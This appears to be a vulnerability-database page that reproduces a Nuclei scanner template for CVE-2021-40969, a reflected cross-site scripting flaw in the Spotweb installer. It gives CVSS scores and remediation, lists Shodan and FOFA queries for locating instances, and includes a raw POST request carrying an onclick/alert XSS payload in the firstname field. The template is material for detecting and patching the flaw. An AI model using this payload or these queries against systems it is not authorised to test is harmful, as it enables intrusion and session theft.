Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2021-40969
HistoryJun 05, 2023 - 7:03 a.m.

Spotweb <= 1.5.1 - Cross Site Scripting (Reflected)

2023-06-0507:03:16
ProjectDiscovery
github.com
1
spotweb
cross site scripting
remote attackers
injection
html
version 1.5.2

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

CVSS3

6.1

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

EPSS

0.001

Percentile

50.0%

Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the firstname parameter.
id: CVE-2021-40969

info:
  name: Spotweb <= 1.5.1 - Cross Site Scripting (Reflected)
  author: theamanrawat
  severity: medium
  description: |
    Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the firstname parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, data theft, or other attacks.
  remediation: Fixed in version 1.5.2
  reference:
    - https://github.com/spotweb/spotweb/
    - https://github.com/spotweb/spotweb/issues/711
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40969
    - https://github.com/spotweb/spotweb
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-40969
    cwe-id: CWE-79
    epss-score: 0.00159
    epss-percentile: 0.5237
    cpe: cpe:2.3:a:spotweb_project:spotweb:*:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: spotweb_project
    product: spotweb
    shodan-query:
      - title:"SpotWeb - overview"
      - http.title:"spotweb - overview"
    fofa-query: title="spotweb - overview"
    google-query: intitle:"spotweb - overview"
  tags: cve2021,cve,xss,spotweb,spotweb_project

http:
  - raw:
      - |
        POST /install.php?page=4 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        settingsform[firstname]=pdteam'+onclick='alert(document.domain)

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "onclick='alert(document.domain)"
          - "Spotweb"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e5bdbfb883fe5d2e98ba17ba14af619f1e54c6f5778d79aded876dfc1f0f0212022100ac14b10d2cbd2eb9cad4e7bfa4405ef253caa476f43638f0fca53eb667a2a6f6:922c64590222798bb761d5b6d8e72950

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

CVSS3

6.1

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

EPSS

0.001

Percentile

50.0%